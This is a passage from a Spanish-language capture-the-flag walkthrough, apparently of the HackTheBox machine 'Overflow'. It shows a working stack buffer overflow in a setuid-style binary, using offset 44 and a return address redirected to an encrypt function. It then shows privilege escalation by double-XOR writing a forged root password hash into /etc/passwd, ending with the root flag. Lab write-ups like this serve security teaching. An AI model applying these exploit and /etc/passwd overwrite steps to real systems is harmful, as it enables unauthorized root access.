puts("Thanks for checking. You can give your feedback for improvements at developer@overflow.htb");
} else {
puts("Wrong Pin");
}
return;
}
El problema aquí es que está leyendo una cadena de caracteres con scanf
(__isoc99_scanf
) y un formato %s
. Esto es vulnerable a Buffer Overflow porque local_2c
tiene 20 bytes asignados como buffer y scanf
permite cualquier cadena de caracteres (%s
) con cualquier longitud. Vamos a probarlo:
tester@overflow:~$ /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Segmentation fault (core dumped)
Parece que tenemos que explotar la vulnerabilidad de Buffer Overflow. Pero primero, vamos a ver si el binario tiene alguna protección habilitada:
gef➤ checksec
[+] checksec for './file_encrypt'
Canary : ✘
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : Full
Tiene NX habilitado (por lo que la pila no es ejecutable) y también PIE habilitado (que significa que las direcciones del binario se aleatorizan si ASLR está habilitado). Antes de continuar, vamos a ver si ASLR está habilitado:
tester@overflow:~$ cat /proc/sys/kernel/randomize_va_space
0
Y no está habilitado, por lo que la protección PIE no hace nada. Si fuera un 2
, entonces ASLR sí estaría habilitado.
Con un Buffer Overflow podemos tomar control del registro $eip
, que es el registro Extended Instruction Pointer. Este registro contiene la dirección de la siguiente instrucción a ejecutar. De hecho, el programa se rompió antes porque hemos sobrescrito $eip
con 0x41414141
(AAAA
), que es una dirección de memoria no válida.
Ahora que sabemos que ASLR está deshabilitado, podemos deshabilitarla en nuestra máquina para depurar el programa con GDB:
# echo 0 | tee /proc/sys/kernel/randomize_va_space
0
Para explotar el Buffer Oveflow, tenemos que obtener el número de caracteres necesarios para sobrescribir la dirección de retorno, para poner un valor concreto ahí. Para ello, vamos a usar un patrón:
$ gdb -q file_encrypt
Reading symbols from file_encrypt...
(No debugging symbols found in file_encrypt)
gef➤ pattern create 60
[+] Generating a pattern of 60 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 44 (little-endian search) likely
[+] Found at offset 41 (big-endian search)
Y vemos que el offset es 44, por lo que necesitamos 44 caracteres para sobrescribir la dirección de retorno. Vamos a probarlo:
gef➤ run
Starting program: ./file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Program received signal SIGSEGV, Segmentation fault.
0x45444342 in ?? ()
Y se muestra que la siguiente instrucción está en la dirección 0x45444342
(BCDE
en little-endian), por lo que tenemos control sobre $eip
.
En Ghidra, podemos encontrar el código de una función llamada encrypt
y su dirección. Recordemos que ASLR está deshabilitado y que PIE no tiene efecto, por lo que la dirección de encrypt
es estática:
gef➤ x encrypt
0x5655585b <encrypt>: 0x53e58955
Y la dirección de encrypt
es 0x5655585b
. Curiosamente, estos bytes son imprimibles. En formato little-endian, la dirección de encrypt
es lo mismo que [XUV
:
>>> '\x5b\x58\x55\x56'
'[XUV'
Entonces, podemos poner esta dirección en $eip
para llamar a encrypt
:
tester@overflow:~$ /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Enter Input File:
En este punto ya hemos explotado el Buffer Overflow para llamar a la función que no estaba en el programa principal.
Escalada de privilegios
Vamos a ver el código fuente de encrypt
con Ghidra:
void encrypt(char *__block,int __edflag) {
int iVar1;
int *piVar2;
char *pcVar3;
undefined4 local_98 = 0;
undefined4 local_94 = 0;
undefined4 local_90 = 0;
undefined4 local_8c = 0;
undefined4 local_88 = 0;
undefined4 local_84 = 0;
undefined4 local_80 = 0;
undefined4 local_7c = 0;
undefined4 local_78 = 0;
undefined4 local_74 = 0;
stat local_70;
uint local_18;
FILE *local_14;
FILE *local_10;
printf("Enter Input File: ");
__isoc99_scanf("%s", &local_84);
printf("Enter Encrypted File: ");
__isoc99_scanf("%s", &local_98);
iVar1 = stat((char *) &local_84, &local_70);
if (iVar1 < 0) {
piVar2 = __errno_location();
pcVar3 = strerror(*piVar2);
fprintf(stderr, "Failed to stat %s: %s\n", &local_84, pcVar3);
/* WARNING: Subroutine does not return */
exit(1);
}
if (local_70.st_uid == 0) {
fprintf(stderr, "File %s is owned by root\n", &local_84);
/* WARNING: Subroutine does not return */
exit(1);
}
sleep(3);
local_10 = fopen((char *) &local_84, "rb");
if (local_10 == (FILE *) 0x0) {
piVar2 = __errno_location();
pcVar3 = strerror(*piVar2);
fprintf((FILE *) "cannot open input file %s: %s\n", (char *) &local_84, pcVar3);
} else {
local_14 = fopen((char *) &local_98, "wb");
if (local_14 == (FILE *) 0x0) {
piVar2 = __errno_location();
pcVar3 = strerror(*piVar2);
fprintf((FILE *) "cannot open output file %s: %s\n", (char *) &local_98, pcVar3);
fclose(local_10);
} else {
while (true) {
local_18 = _IO_getc(local_10);
if (local_18 == 0xffffffff) break;
_IO_putc(local_18 ^ 0x9b, local_14);
}
fclose(local_10);
fclose(local_14);
}
}
return;
}
Básicamente, lo que hace es coger un archivo, cifrarlo y escribirlo en otro archivo. Vamos a probarlo:
tester@overflow:~$ cd /tmp
tester@overflow:/tmp$ mkdir .test
tester@overflow:/tmp$ cd .test
tester@overflow:/tmp/.test$ echo asdf > t
tester@overflow:/tmp/.test$ /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Enter Input File: /tmp/.test/t
Enter Encrypted File: /tmp/.test/t_enc
Segmentation fault (core dumped)
tester@overflow:/tmp/.test$ ls -l --time-style=+
total 8
-rw-rw-r-- 1 tester tester 5 t
-rw-rw-r-- 1 root tester 5 t_enc
tester@overflow:/tmp/.test$ xxd t
00000000: 6173 6466 0a asdf.
tester@overflow:/tmp/.test$ xxd t_enc
00000000: fae8 fffd 91 .....
Y el programa ha escrito el archivo t_enc
, que pertenece al usuario root
.
En el código fuente descompilado, descubrimos que el tipo de cifrado es XOR byte a byte con una clave 0x9b
:
while (true) {
local_18 = _IO_getc(local_10);
if (local_18 == 0xffffffff) break;
_IO_putc(local_18 ^ 0x9b, local_14);
}
Para descifrar el archivo, solamente tenemos que usar XOR byte a byte con la misma clave 0x9b
. Por ejemplo, podemos coger el volcado en hexadecimal del archivo t_enc
y aplicarle la operación XOR con la clave:
>>> hex(0xfae8fffd91 ^ 0x9b9b9b9b9b)
'0x617364660a'
Y obtenemos asdf
(en hexadecimal), que son los contenidos del archivo t
.
Hay una validación sobre el archivo que queremos cifrar: no puede ser de root
. Sin embargo, no hay validación sobre el archivo de salida, por lo que tenemos permisos de escritura como root
.
Teniendo esto, podemos añadir una clave pública de SSH en /root/.ssh/authorized_keys
o sobrescribir /etc/passwd
para indicar una contraseña para root
en formato DES Unix. Esta vez, vamos con la segunda opción.
Veamos esto:
tester@overflow:/tmp/.test$ cp t_enc t2
tester@overflow:/tmp/.test$ ls -l --time-style=+
total 12
-rw-rw-r-- 1 tester tester 5 t
-rw-rw-r-- 1 tester tester 5 t2
-rw-rw-r-- 1 root tester 5 t_enc
tester@overflow:/tmp/.test$ /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Enter Input File: /tmp/.test/t2
Enter Encrypted File: /tmp/.test/t2_enc
Segmentation fault (core dumped)
tester@overflow:/tmp/.test$ ls -l --time-style=+
total 16
-rw-rw-r-- 1 tester tester 5 t
-rw-rw-r-- 1 tester tester 5 t2
-rw-rw-r-- 1 root tester 5 t_enc
-rw-rw-r-- 1 root tester 5 t2_enc
tester@overflow:/tmp/.test$ cat t2_enc
asdf
Hemos cifrado el archivo que ya habíamos cifrado (t2
es una copia de t_enc
, pero perteneciente a tester
y no a root
), y la salida del archivo doblemente cifrado es lo mismo que el archivo original t
(que era asdf
). Pues este es el truco, tenemos que escribir un archivo, cifrarlo, copiarlo y cifrarlo otra vez. El resultado del segundo proceso de cifrado estará en texto claro.
Vamos a modificar una copia de /etc/passwd
con sed
:
tester@overflow:/tmp/.test$ which openssl
/usr/bin/openssl
tester@overflow:/tmp/.test$ openssl passwd 7rocky
OO3PvAT9Z8SvU
tester@overflow:/tmp/.test$ cp /etc/passwd p1
tester@overflow:/tmp/.test$ head -1 p1
root:x:0:0:root:/root:/bin/bash
tester@overflow:/tmp/.test$ sed -i 's/root:x/root:OO3PvAT9Z8SvU/' p1
tester@overflow:/tmp/.test$ head -1 p1
root:OO3PvAT9Z8SvU:0:0:root:/root:/bin/bash
Hemos cambiado la x
por OO3PvAT9Z8SvU
. Esto provoca que al hacer su root
se compara la contraseña insertada en formato DES Unix con OO3PvAT9Z8SvU
y no con el hash en /etc/shadow
.
Vamos a cifrar p1
la primera vez:
tester@overflow:/tmp/.test$ /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Enter Input File: p1
Enter Encrypted File: p1_enc
Segmentation fault (core dumped)
tester@overflow:/tmp/.test$ ls -l --time-style=+
total 24
-rw-r--r-- 1 tester tester 1735 p1
-rw-rw-r-- 1 tester tester 1735 p1_enc
-rw-rw-r-- 1 tester tester 5 t
-rw-rw-r-- 1 tester tester 5 t2
-rw-rw-r-- 1 root tester 5 t2_enc
-rw-rw-r-- 1 root tester 5 t_enc
Ahora creamos una copia de p1_enc
como p2
y lo ciframos. La salida será escrita en /etc/passwd
:
tester@overflow:/tmp/.test$ cp p1_enc p2
tester@overflow:/tmp/.test$ /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Enter Input File: p2
Enter Encrypted File: /etc/passwd
Segmentation fault (core dumped)
tester@overflow:/tmp/.test$ head -1 /etc/passwd
root:OO3PvAT9Z8SvU:0:0:root:/root:/bin/bash
Y hemos sobrescrito el archivo /etc/passwd
correctamente. Ahora podemos acceder como root
con la contraseña 7rocky
:
tester@overflow:/tmp/.test$ su root
Password:
root@overflow:/tmp/.test# cat /root/root.txt
b3ae2337f9ea07d8a4c9b8613ad860a0